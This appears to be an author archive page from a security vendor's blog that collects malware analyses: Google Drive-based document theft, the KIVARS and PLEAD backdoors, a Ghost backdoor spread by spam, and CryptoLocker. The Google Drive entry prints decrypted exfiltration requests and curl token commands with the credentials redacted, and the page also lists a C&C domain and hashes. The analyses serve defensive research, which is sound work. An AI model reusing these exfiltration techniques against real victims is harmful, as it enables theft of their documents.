Trend Micro Facebook TrendLabs Twitter Malware Blog RSS Feed You Tube - Trend Micro
Search our blog:

  • Recent Posts

  • Calendar

    April 2015
    S M T W T F S
    « Mar    
  • Email Subscription

  • About Us
    TrendLabs Security Intelligence Blog(breadcrumbs are unavailable)

    Author Archive - Kervin Alintanahin (Threats Analyst)

    Using cloud-based sharing sites is not a new routine for bad guys. Aside from providing free storage for their malicious files, these legitimate sites are used to evade security vendors and researchers.

    We have seen malware that have taken advantage of these sites, such as DropBox, Sendspace, and Evernote. We can now include Google Drive to the list of “abused” sites. We recently came across malware, detected as TSPY_DRIGO.A, that uses Google Drive as one way of siphoning information from its victims.

    Access to Google Drive

    Once executed, the malware will check for the following file types in certain locations to upload them into Google Drive:

    • XLSX
    • XLS
    • DOC
    • DOCX
    • PDF
    • TXT
    • PPT
    • PPTX

    The locations where the malware checks for files include the Recycle Bin and the User Documents folder.

    In order to upload the files to Google Drive, the client_id and client_secret were embedded on the malware, together with a refresh token. Refresh tokens are needed as part of the OAuth 2.0 protocol, which is used by Google Drive. This protocol is used by Twitter, Facebook and other sites to use their accounts to log in to a different website. Access tokens are used to have access on a Google Drive account. However, access tokens expire so refresh tokens are needed to get new access tokens.

    We decrypted communication from the malware and saw activity such as requests for new tokens and uploading files.

    ; request for new token

    POST /o/oauth2/token HTTP/1.1
    User-Agent: Go 1.1 package http
    Content-Length: 208
    Content-Type: application/x-www-form-urlencoded
    Accept-Encoding: gzip

    client_id={REMOVED} {REMOVED}&grant_type=refresh_token&refresh_token={REMOVED}

    ;reply for new token

    HTTP/1.1 200 OK
    Content-Type: application/json; charset=utf-8
    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
    Pragma: no-cache
    Expires: Fri, 01 Jan 1990 00:00:00 GMT
    Date: Thu, 14 Oct 2014 08:08:32 GMT
    Content-Disposition: attachment; filename=”sample.txt”; filename*=UTF-8”sample.txt
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    X-XSS-Protection: 1; mode=block
    Server: GSE
    Alternate-Protocol: 443:quic
    Transfer-Encoding: chunked

    “access_token” : “{REMOVED}”,
    “token_type” : “Bearer”,
    “expires_in” : 3600

    ;upload file

    POST /upload/drive/v2/files?alt=json&uploadType=multipart HTTP/1.1
    User-Agent: google-api-go-client/0.5
    Content-Length: 398
    Authorization: OAuth {REMOVED}

    Content-Type: multipart/related; boundary=e0cee80c4f3d21e18e77548a60b374408ce65bc3b76c5de1cdbe2afe7eeb
    Accept-Encoding: gzip

    We used this same approach in order to check the files uploaded in the Google Drive account. As of this writing, some of the files are still “active” or present in the account. We’ve also found that the file names reveal the targeted entities, which are mostly government agencies.

    Below is the command line used for testing:

    ;Request new token
    Curl –d “cliend_id={CLIENT_ID}&client_secret={SECRET_KEY}&grant_type=refresh_token&refresh_token={REFRESH_TOKEN}

    ;List files
    Curl –H “Authorization: OAuth {ACCESS_TOKEN}”

    Here’s an excerpt of the log from the Google Drive account on one of the files uploaded:

    “kind”: “drive#file”,
    “title”: “{HOSTNAME} C:\\Users\\{USERNAME}\\AppData\\Roaming\\{REMOVED}長致詞{REMOVED}.doc”,
    “mimeType”: “application/”,
    “createdDate”: “2014-10-16T10:13:14.339Z”,
    “modifiedDate”: “2014-10-16T10:13:16.286Z”,
    “modifiedByMeDate”: “2014-10-16T10:13:16.286Z”,
    “lastViewedByMeDate”: “2014-10-16T10:13:16.286Z”,
    “markedViewedByMeDate”: “1970-01-01T00:00:00.000Z”,

    The Other Google Connection

    Use of Google Drive isn’t the only thing that connects this malware to Google. The malware was actually created using the Go programming language, commonly known as golang. This is an open source programming language that was initially developed by Google. According to Google, “the goals of the Go project were to eliminate the slowness and clumsiness of software development at Google, and thereby to make the process more productive and scalable.”

    While interesting, the use of golang is not new; security researchers have seen golang-created malware as early as 2012. It would be hard to pinpoint the exact reason for using golang but some have attributed its appeal to its supposed lack of mainstream profile.

    Gathering Information

    Our analysis shows that this malware can only upload document-type files to Google Drive. This type of malware routine is perfect for reconnaissance—one of the earlier stages for targeted attacks. After all, one of the key aspects in a successful attack is having enough information on the target. The more information they can gather, the more vector of attack they can use on their target.

    The following hashes are related to this attack:

    • 2C32674B334F10000CB63ED4BA4EE543A16D8572
    • 2D98DDF8F5128853DD33523BCBBD472B8D362705

    Trend Micro secures enterprises via its Custom Defense solution that provides advanced threat protection by performing network-wide monitoring to detect zero-day malware, malicious communications, and attacker behaviors invisible to standard solutions.

    We have already notified Google about this incident.

    With additional insight from Ronnie Giagone, Dove Chiu, and Vico Fang.


    Posted in Malware, Targeted Attacks | Comments Off

    In announcing the release of the 64-bit version for Chrome last month, Google mentioned that one of the primary drivers of the move was that majority of Windows users are now using 64-bit operating systems. The adoption rate for 64-bit for Windows has been a tad slower than what Microsoft had initially predicted, but it has been steady, and it is evident in the availability of support by software developers. Unfortunately, however, we’ve been seeing the same adoption being implemented by attackers through 64-bit malware.

    We’ve documented several instances of malware having 64-bit versions, including a 64-bit version of ZeuS, and we’ve been seeing the same in terms of targeted attacks. In fact, in our 2H 2013 Targeted Attack Trends report, almost 10% of all malware related to targeted attacks run exclusively on 64-bit platforms.

    KIVARS: Earlier Versions

    One of these malware we’ve found running on 64-bit systems is KIVARS. Based on our findings, early versions of this malware affects only 32-bit systems and is dropped by a malware we detect as TROJ_FAKEWORD.A (SHA1 218be0da023e7798d323e19e950174f53860da15). However, note that all versions of KIVAR used this dropper to install both the loader and backdoor.

    Once executed, TROJ_FAKEWORD.A drops 2 executable files and a password-protected MS Word document which also serves as  a decoy:

    • %windows system%\iprips.dll – TROJ_KIVARSLDR
    • %windows system%\winbs2.dll – BKDR_KIVARS
    • C:\Documents and Settings\Administrator\Local Settings\Temp\NO9907HFEXE.doc – decoy document


    Figure 1.  TROJ_KIVARSLDR is installed as a service with an active name of “iprip”.

    TROJ_KIVARSLDR will load and execute BKDR_KIVARS in memory. BKDR_KIVARS is capable of the following routines:

    • Download\upload Files
    • File manipulation\execution
    • List drives
    • Uninstall malware service
    • Take screenshot
    • Activate\deactivate keylogger
    • Manipulate active windows (show,hide)
    • Trigger left, right, and double left click,
    • Trigger keyboard input

    TROJ_FAKEWORD.A uses the RTLO technique as well as a MS Word document icon to convince the user that it is just a normal document — both techniques seen in previous campaigns such as PLEAD.

    BKDR_KIVARS uses a slightly modified version of RC4 to decrypt it strings\configuration. It adds an extra byte parameter and checks this byte if it is equal\greater than 80h. If the condition is true, it will add the byte to RC4’s XOR’red output. It will also use this function to decrypt the 10h byte key.


    Figure 2. The decryption of the malware string.

    The dropped files were initially encrypted using an XOR key “55h”. The same goes for the key logger log file, which has the file name klog.dat.


    Figure 3. Decrpyted klog.dat

    The encryption for the initial packets sent by the BKDR_KIVARS uses RC4 as the encryption. It includes the following information:

    • Victim’s IP
    • Possible Campaign ID
    • OS version
    • Hostname
    • Username
    • KIVARS version
    • Recent Document\Desktop folder
    • Keyboard Layout


    Figure 4. Decrypted packet sent by BKDR_KIVARS

    64-bit Support

    The newer versions of KIVARS, which consists of 32 bit and 64 bit versions, show slight differences when installed on a victim’s machine. For example, the loader and the dropped backdoor payload have random file names.

    • %Windows%system32%\{random}.dll
    • %Windows%system32%\{random}.{tlb|dat} – uses either tlb or dat as its file extension

    In this version, the loader is still installed as a service and uses one of the following Service Active names:

    • Iprip
    • Irmon
    • ias

    The earlier versions of this BKDR_KIVARS only encrypts the “MZ” magic byte for the backdoor payload. As for the newer versions, the backdoor payload is now encrypted using the modified RC4.


    Figure 5.  This code snippet show the 64-bit loader decrypting the key for the modified RC4. Same procedure with the early versions of the malware.

    C&C Communication

    The new version sends a random generated packet. Based on this packet, a key is generated which serves as the checking for the C&C reply. Once it verifies the reply, it will send the same RC4 encrypted information, however the difference is that the 1st 4 bytes value is the size of the information.


    Figure 6. The decrypted packet from the new version.

    Here are the IOCs for KIVARS:

    Detection SHA1 C&C IP
    BKDR64_KIVARS.ZTAL-BA f3703e4b11b1389fbda1fbb3ba7ff3124f2b5406
    BKDR_KIVARS.ZTAL-BA f797243bd709d01513897f26ce1f5517ab005194
    TROJ_FAKEWORD.A 218be0da023e7798d323e19e950174f53860da15
    TROJ_KIVARSENC.ZTAL-A 709312b048b3462883b0bbebb820ef1bc317b311
    TROJ_KIVARSLDR.ZTAL-A 6df5adeaea3f16c9c64be5da727472339fa905cb
    BKDR_KIVARS.ZTAL-A 9991955db2623f7b34477ef9e116d18d6a89bc3e
    TROJ_KIVARSDRP.ZTAL-A b9543a848d3dfbc04adf7939ebd9cfd758a24e88
    TROJ_KIVARSENC.ZTAL-A 8112760bf2191d25cbb540a5e56be4b3eb5902fe
    TROJ_KIVARSLDR.ZTAL-A 17ab432d076cc6cb41fcff814b86baf16703e27c
    BKDR_KIVARS.ZTAL-A 63d4447168f3d629ec867e83f4ad2e8f107bd3b2
    TROJ_KIVARSDRP.ZTAL-A c738d64fdc6fcf65410ab989f19a2c12f5ef22ab
    TROJ_KIVARS.A d35c2d5f9c9067702348a220f79904246fa4024f

    Connections to POISON

    We’ve found that the threat actors using KIVARS are also using the POISON malware RAT as part of this campaign. Below are some of hashes connected to one of the C&C’s used by KIVARS:

    Detection SHA1 C&C IP
    BKDR_POISON.VTG 6b6ef37904e1a40e33f3fc85da9ba142863867a2
    TROJ_POISON.BHV defeb241b5504c56603c0fd604aea6a79975b31d
    BKDR_POISON.TUET ad935580a5d93314f5d22f2089b8e6efeca06e18 truecoco.REBATESRULE.NET

    With additional analysis by Ronnie Giagone

    For more details on various targeted attacks, as well as best practices for enterprises, you may visit our Threat Intelligence Resources on Targeted Attacks.

    Posted in Bad Sites, Malware, Targeted Attacks | Comments Off

    In the recent 2H-2013 Targeted Attack Roundup Report we noted that we have been seeing several targeted attack campaign-related attacks in Taiwan.

    We are currently monitoring a campaign that specifically targets government and administrative agencies in Taiwan. We are naming this specific campaign PLEAD because of the letters of the backdoor commands issued by the related malware.

    The point of entry for this campaign is through email. In the PLEAD campaign, threat actors use the RTLO (right to left override) technique in order to fool the target recipient into thinking that the file extension of the unpacked file is not suspicious, i.e., not an executable.

    In some cases related to the PLEAD campaign, the RTLO technique was implemented correctly, as seen in a case targeting a particular ministry in Taiwan, purporting to be reference materials for a technical consultant conference:

    Figure 1. Email sent to Taiwanese government agency

    When the .7z attachment is unpacked, the recipient will see two files, what seems to be a PowerPoint document and a Microsoft Word file. The RTLO technique, which basically takes advantage of a Unicode character that was created to support languages that are written right to left, is evident in the first file. By inputting the unicode command for RTLO before the P in PPT, the appearance of the complete file name makes it look like the file is a PowerPoint document, even if it is, in fact, a screen saver file.

    The threat actor included an additional decoy document, the second file in figure 2, a .DOC file, whose only function is to add to the believability of the email.

    Figure 2. Unpacked attachment shows RTLO trick at work with the .SCR file

    To further make the victim believe that the .SCR file is a .PPT file, the .SCR file actually drops the following .PPT which only serves as a decoy.

    Figure 3. The .SCR drops this .PPT file as decoy

    The RTLO trick in the above case was successful, but in some cases, it was not, as in this spear phishing email belonging to the same campaign. This time the email pretends to be about statistical data about Taiwanese business enterprises:

    Figure 4. Second email sample, this time sent to a different Taiwanese government agency

    Figure 5. Unpacked attachment reveals that the file is an executable

    We also observed the use of an exploit using the CVE-2012-0158 vulnerability, which had long been patched by MS12-027 in 2012. The vulnerability exists in Windows common controls, could allow an attacker to execute malicious code, and is a common vulnerability found in targeted attacks.

    Figure 6. Third sample email uses exploit

    The payloads in the PLEAD campaign are usually backdoors that first decrypt their code and inject themselves into another process. Installation differs from one sample to the next, but typically, the related backdoors will acquire the following information from the victim’s computer:

    • User name
    • Computer name
    • Host name
    • Current Malware Process ID

    This is often a way for threat actors to keep track of its specific victims when it is monitoring its operations. Once a connection has been established with remote servers, the backdoor executes its commands:

    • Check installed software/proxy setting
    • List drives
    • Get file
    • Delete file
    • Remote shell

    These commands are typical of reconnaissance activities.

    We are still conducting research about the related C&Cs and malware tools in the PLEAD campaign and will be providing technical details about the breadth of this campaign. It appears that the attacks related to this campaign have been around since 2012.

    For more details on various targeted attacks, as well as best practices for enterprises, you may visit our Threat Intellgence Resources on Targeted Attacks.


    Recently, a mass stabbing incident in Kunming, China left 29 victims dead. We came across an email which used this incident as social engineering bait. To appear legitimate, the message talks about the incident at length and cites several news outlets as its sources. It encourages the user to open the attached document for more information. The document is entitled “Violent terror attack,” probably named as such to pique the recipient’s interest.

    Figure 1. Spammed message

    The attached document is actually malicious, and is detected as TROJ_EXPLOYT.AGH. This malware takes advantage of a particular Microsoft Office vulnerability (CVE-2012-0158, or MS12-027) to drop a backdoor – BKDR_GHOST.LRK –  onto the system. Apart for its backdoor routines, this malware can steal information through keylogging, audio recording, and screen capture.

    A closer look into BKDR_GHOST.LRK reveals one striking detail: when it communicates to its C&C server, the malware uses the string “LURK0″. This string was also associated with a malware variant that was used in the GhostNet campaign. We noted in a previous paper titled Detecting APT Activity with Network Traffic Analysis that a Ghost variant had replaced “Gh0st” (its usual header content) with “LURK0″.

    The configuration file also contains the marker “default.” This is often used as a mark on which campaign a malware belongs to.  However, Trend Micro researchers have encountered old samples bearing the same markers dating back to 2012.

    Despite its intended target, regular users can still find themselves victims of this attack. Email attacks often use “click-worthy” or interesting topics to convince users to click links or open attachments that could lead to various threats.

    Users are advised to avoid opening attachments and click links on unsolicited emails. They should also visit reputable and trustworthy news sites for updates on the latest news and current events. We detect and block all threats related to this incident. For more details on various targeted attacks, as well as best practices for enterprises, you may visit our Threat Intelligence Resources on Targeted Attacks.

    Additional analysis by Mark Manahan.

    Posted in Malware, Spam, Targeted Attacks | Comments Off

    CryptoLocker, the latest strain of ransomware, is best known for trying to force users into paying a fee by encrypting certain files and then later offering a $300 decrypting tool. In this entry, we discuss how it arrives and how it is connected with other malware, most notably ZBOT/ZeuS.

    We reported earlier that CryptoLocker malware not only blocks access to the infected system, but also forces users to buy a $300 decrypting tool by encrypting certain files. Recently, we were alerted to a spam campaign that we determined to be responsible for CryptoLocker infections. The spammed messages contain malicious attachments belonging to TROJ_UPATRE, a malware family characterized by its having small file size and a simple downloading function.

    Using feedback provided by the Trend Micro Smart Protection Network, we searched for information linking CryptoLocker ransomware to this downloader and found a sample email containing a malicious attachment (detected as TROJ_UPATRE.VNA):

    Figure 1. Screenshot of spam with malicious attachment

    Once this attachment is executed, it downloads another file which is saved as cjkienn.exe (detected as  TSPY_ZBOT.VNA). This malware then downloads the actual CryptoLocker malware (detected as TROJ_CRILOCK.NS).

    Figure 2. CryptoLocker infection chain

    This threat is particularly troublesome for several reasons. First, ZeuS/ZBOT variants are known to steal information related to online banking credentials. The attackers can use the stolen information to start unauthorized banking transactions. Furthermore, because of the CryptoLocker malware, users will be unable to access their personal or important documents.

    Notes on CryptoLocker Encryption

    Although the ransom note in CryptoLocker only specifies “RSA-2048” as the encryption used, our analysis shows that the malware uses AES + RSA encryption.

    RSA is asymmetric key cryptography, which means it uses two keys. One key is used to encrypt the data and another is used to decrypt the data. (One key is made available to any outside party and is called the public key; the other is kept by the user and is called the private key.) AES uses symmetric keys (i.e., the same key is used to encrypt and decrypt information.)

    The malware uses an AES key to encrypt files.  The AES key for decryption is written in the files encrypted by the malware. However, this key is encrypted with an RSA public key embedded in the malware, which means that a private key is needed to decrypt it. Unfortunately, the said private key is not available.

    For information on which files are encrypted, users can check their system’s autostart registry.


    Figure 3. List of encrypted files as seen on system’s registry

    Trend Micro Solutions for CryptoLocker

    Trend Micro’s web reputation service detects the DGA-created URLs. If the malware is unable to connect to these URLs, it will not receive the public key, thus preventing the malware from encrypting files. In addition, Trend Micro’s behavior-based detection monitors the system for CryptoLocker infection. If configured properly, it prevents the malware from executing.

    Trend Micro Protection-Cryptolocker

    Figure 4. Trend Micro detects the related malware

    It is also important for users to be cautious when opening any attachments from email messages coming from unknown sources. Our existing email reputation service also blocks spam messages related to this threat.

    Update as of 5:15 PM PST, Nov. 12, 2013:

    It seems that the cybercriminals responsible for the spate of UPATRE attacks have now set their sights on security vendors. Earlier today, we received a spammed email sample with a malicious attachment, one that comes in the form of a password-protected archive. The password itself is provided in the email body text, along with instructions on how to use the supposed contents.

    Figure 5. Screenshot of spam with malicious attachment

    What made this latest attack noteworthy is how the password is included with the message, making it look and read more legitimate and non-malicious. Of course, the attachment is verified as malware and detected as TROJ_UPATRE.CI.

    With additional insights from Benson Sy and Erika Mendoza. 



    © Copyright 2013 Trend Micro Inc. All rights reserved. Legal Notice